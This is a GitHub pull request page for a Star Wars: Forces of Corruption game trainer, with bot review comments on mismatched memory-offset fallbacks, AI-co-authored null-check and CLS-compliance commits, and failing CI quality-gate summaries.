"add_credits_func": 2618224,
"set_tech_level_func": 2689408,
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Use correct fallback for set_tech_level_func

This fallback offset does not match the RE data added in the same commit: base_swfoc.json uses 2689408 (0x290980), while signatures_phase2_editor_format.json and docs/re_integration_plan.md identify SetTechLevel at 0x288980 (2656640). If the AOB signature misses (the exact case fallback is for), symbol resolution points at the wrong RVA and any reads/writes or calls through set_tech_level_func will target unrelated code/data.

Useful? React with 👍 / 👎.

"add_credits_func": 2618224,
"set_tech_level_func": 2689408,
"set_speed_override_func": 3837072,
"clear_speed_override_func": 3733168
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Correct clear_speed_override_func fallback offset

The fallback here is inconsistent with the Phase 2 RE pack introduced in this commit (signatures_phase2_editor_format.json lists clear_speed_override_func as 3733680, but this profile uses 3733168). Because standalone fallbacks are materialized into the symbol map when signatures are absent, this mismatch can resolve clear_speed_override_func to the wrong location on fallback paths.

Useful? React with 👍 / 👎.

The coverage collection PowerShell script uses Windows paths and
dotnet tooling that requires Windows. The reusable workflow accepts
a runner input but the caller wasn't passing it, defaulting to
ubuntu-latest which caused path resolution failures.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@ecc-tools
Copy link
Copy Markdown

ecc-tools Bot commented Apr 3, 2026

Analyzing 200 commits...

@ecc-tools
Copy link
Copy Markdown

ecc-tools Bot commented Apr 3, 2026

Analysis Complete

Generated ECC bundle from 5 commits | Confidence: 50%

View Pull Request #123

Repository Profile
Attribute Value
Language TypeScript
Framework Not detected
Commit Convention conventional
Test Directory separate
Detected Workflows (1)
Workflow Description
ci-workflow-pipeline-fix Fixes or updates to CI/CD workflows to resolve build, test, or analysis issues (coverage, secrets, runner, PR analysis).
Generated Instincts (16)
Domain Count
git 3
code-style 9
testing 2
workflow 2

After merging, import with:

/instinct-import .claude/homunculus/instincts/inherited/SWFOC-Mod-Menu-instincts.yaml

Files

  • .claude/ecc-tools.json
  • .claude/skills/SWFOC-Mod-Menu/SKILL.md
  • .agents/skills/SWFOC-Mod-Menu/SKILL.md
  • .agents/skills/SWFOC-Mod-Menu/agents/openai.yaml
  • .claude/identity.json
  • .codex/config.toml
  • .codex/AGENTS.md
  • .codex/agents/explorer.toml
  • .codex/agents/reviewer.toml
  • .codex/agents/docs-researcher.toml
  • .claude/homunculus/instincts/inherited/SWFOC-Mod-Menu-instincts.yaml
  • .claude/commands/ci-workflow-pipeline-fix.md

ECC Tools | Everything Claude Code

- Add [assembly: CLSCompliant(true)] to all 11 projects
- Fix MegEntry.Crc32 (uint → long) and Flags (ushort → int) for CLS compliance
- Upgrade coverlet to 8.0.0 (6.0.5 doesn't exist, jumped from 6.0.4 to 8.0.0)

Addresses 233 Codacy "Mark Assemblies as CLS Compliant" findings.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@codacy-production
Copy link
Copy Markdown

codacy-production Bot commented Apr 3, 2026

Not up to standards ⛔

🔴 Issues 89 critical · 1 minor

Alerts:
⚠ 90 issues (≤ 0 issues of at least minor severity)

Results:
90 new issues

Category Results
ErrorProne 89 critical
CodeStyle 1 minor

View in Codacy

🟢 Metrics 4 complexity · 0 duplication

Metric Results
Complexity 4 (≤ 10 complexity)
Duplication 0 (≤ 0 duplication)

View in Codacy

TIP This summary will be updated as you push new changes. Give us feedback

Add ArgumentNullException.ThrowIfNull to constructor parameters in:
- CatalogService, HelperModService, LuaHarnessRunner
- FileSystemProfileRepository, GitHubProfileUpdateService, ModOnboardingService
- SaveSchemaRepository, BinarySaveCodec, SavePatchPackService

Part of the 2,267 Codacy issue burn-down (null dereference category).

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Copy link
Copy Markdown

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 02beceb1a7

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

"game_speed": 0,
"player_array_global": 10579952,
"player_count_global": 10579960,
"default_hero_respawn_time_global": 11495920,
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Fix default hero respawn global fallback address

The new default_hero_respawn_time_global fallback uses 11495920, but 0xB169F0 converts to 11626992, not this value. SignatureResolverFallbacks.ApplyStandaloneFallbacks materializes standalone fallback keys directly into the symbol map, so this symbol can resolve to the wrong global whenever it is read or used by future actions. Use the correct decimal conversion to keep this fallback aligned with the RE data.

Useful? React with 👍 / 👎.

Prekzursil and others added 3 commits April 4, 2026 03:00
…reference fixes)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
… dereference fixes)

Add ArgumentNullException.ThrowIfNull() at method entry for all public
and internal method parameters that could dereference null. Covers all
28 non-generated .cs files in SwfocTrainer.Runtime/:

- Interop: ProcessMemoryAccessor (WriteBytes buffer, ReadBytes count guard)
- Scanning: AobPattern.Parse, AobScanner.FindPattern (pattern/memory params)
- Services: constructor null guards on all injected dependencies
  (BackendRouter, BinaryFingerprintService, CapabilityMapResolver,
  GameLaunchService, LaunchContextResolver, ModDependencyValidator,
  ModMechanicDetectionService, NamedPipeExtenderBackend,
  NamedPipeHelperBridgeBackend, NoopSdkRuntimeAdapter, ProcessLocator,
  ProfileVariantResolver, RuntimeAdapter, SignatureResolver,
  SymbolHealthService, TelemetryLogTailService, ValueFreezeService,
  WorkshopInventoryService)
- SignatureResolver partials: Addressing, Fallbacks, SymbolHydration
- NamedPipeExtenderBackendContextHelpers: ParseCapabilities guard
- RuntimeModeProbeResolver, SdkExecutionGuard: method param guards
- WorkshopInventoryChainResolver: ResolveChains items guard
- TelemetryLogTailService: extracted Directory.GetParent to local
- GameLaunchService: added using() on Process from GetProcessesByName
- ProcessLocator: added using() on Process from GetProcesses()
- BinaryFingerprintService: null-coalesce on ProcessModule.ModuleName

No #pragma warning disable, no [SuppressMessage], no codacy:ignore.
Build verified: 0 errors, 0 warnings.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…eference fixes)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@sonarqubecloud
Copy link
Copy Markdown

sonarqubecloud Bot commented Apr 4, 2026

Quality Gate Failed Quality Gate failed

Failed conditions
2 New issues

See analysis details on SonarQube Cloud

Catch issues before they fail your Quality Gate with our IDE extension SonarQube for IDE

Path.Combine(processDirectory, "LogFile.txt"),
Path.Combine(processDirectory, "corruption", "LogFile.txt"),
Path.Combine(Directory.GetParent(processDirectory)?.FullName ?? processDirectory, "corruption", "LogFile.txt")
Path.Combine(parentDirectory, "corruption", "LogFile.txt")

Check notice

Code scanning / CodeQL

Call to 'System.IO.Path.Combine' may silently drop its earlier arguments Note

Call to 'System.IO.Path.Combine' may silently drop its earlier arguments.

Copilot Autofix

AI 24 days ago

Copilot could not generate an autofix suggestion

Copilot could not generate an autofix suggestion for this alert. Try pushing a new commit or if the problem persists contact support.

@qodo-code-review
Copy link
Copy Markdown

CI Feedback 🧐

A test triggered by this PR failed. Here is an AI-generated analysis of the failure:

Action: shared-scanner-matrix / Quality Rollup

Failed stage: Build quality rollup [❌]

Failed test name: ""

Failure summary:

The action failed because one or more required CI checks reported fail, causing the workflow to exit
with code 1 (##[error]Process completed with exit code 1.).
The failing checks shown in the summary
table are:
- Codacy Static Code Analysis
- SonarCloud Code Analysis
- qlty check
-
shared-codecov-analytics / Codecov Analytics
- shared-scanner-matrix / Codacy Zero
-
shared-scanner-matrix / Coverage 100 Gate
- shared-scanner-matrix / QLTY Zero
-
shared-scanner-matrix / Sonar Zero
Note: the log excerpt does not include the underlying error
output for these checks (it only shows No findings.), so the root cause for each individual failure
cannot be determined from this snippet alone.

Relevant error logs:
1:  ##[group]Runner Image Provisioner
2:  Hosted Compute Agent
...

265:  | `Codacy Static Code Analysis` | `fail` | No findings. |
266:  | `DeepScan` | `pass` | No findings. |
267:  | `SonarCloud Code Analysis` | `fail` | No findings. |
268:  | `codeql / CodeQL` | `pass` | No findings. |
269:  | `qlty check` | `fail` | No findings. |
270:  | `qlty coverage` | `missing` | No findings. |
271:  | `qlty coverage diff` | `missing` | No findings. |
272:  | `shared-codecov-analytics / Codecov Analytics` | `fail` | No findings. |
273:  | `shared-scanner-matrix / Codacy Zero` | `fail` | No findings. |
274:  | `shared-scanner-matrix / Coverage 100 Gate` | `fail` | No findings. |
275:  | `shared-scanner-matrix / DeepScan Zero` | `pass` | No findings. |
276:  | `shared-scanner-matrix / QLTY Zero` | `fail` | No findings. |
277:  | `shared-scanner-matrix / Semgrep Zero` | `pass` | No findings. |
278:  | `shared-scanner-matrix / Sentry Zero` | `pass` | No findings. |
279:  | `shared-scanner-matrix / Sonar Zero` | `fail` | No findings. |
280:  ##[error]Process completed with exit code 1.
281:  Post job cleanup.

@Prekzursil Prekzursil merged commit c375bdc into main Apr 4, 2026
43 of 53 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants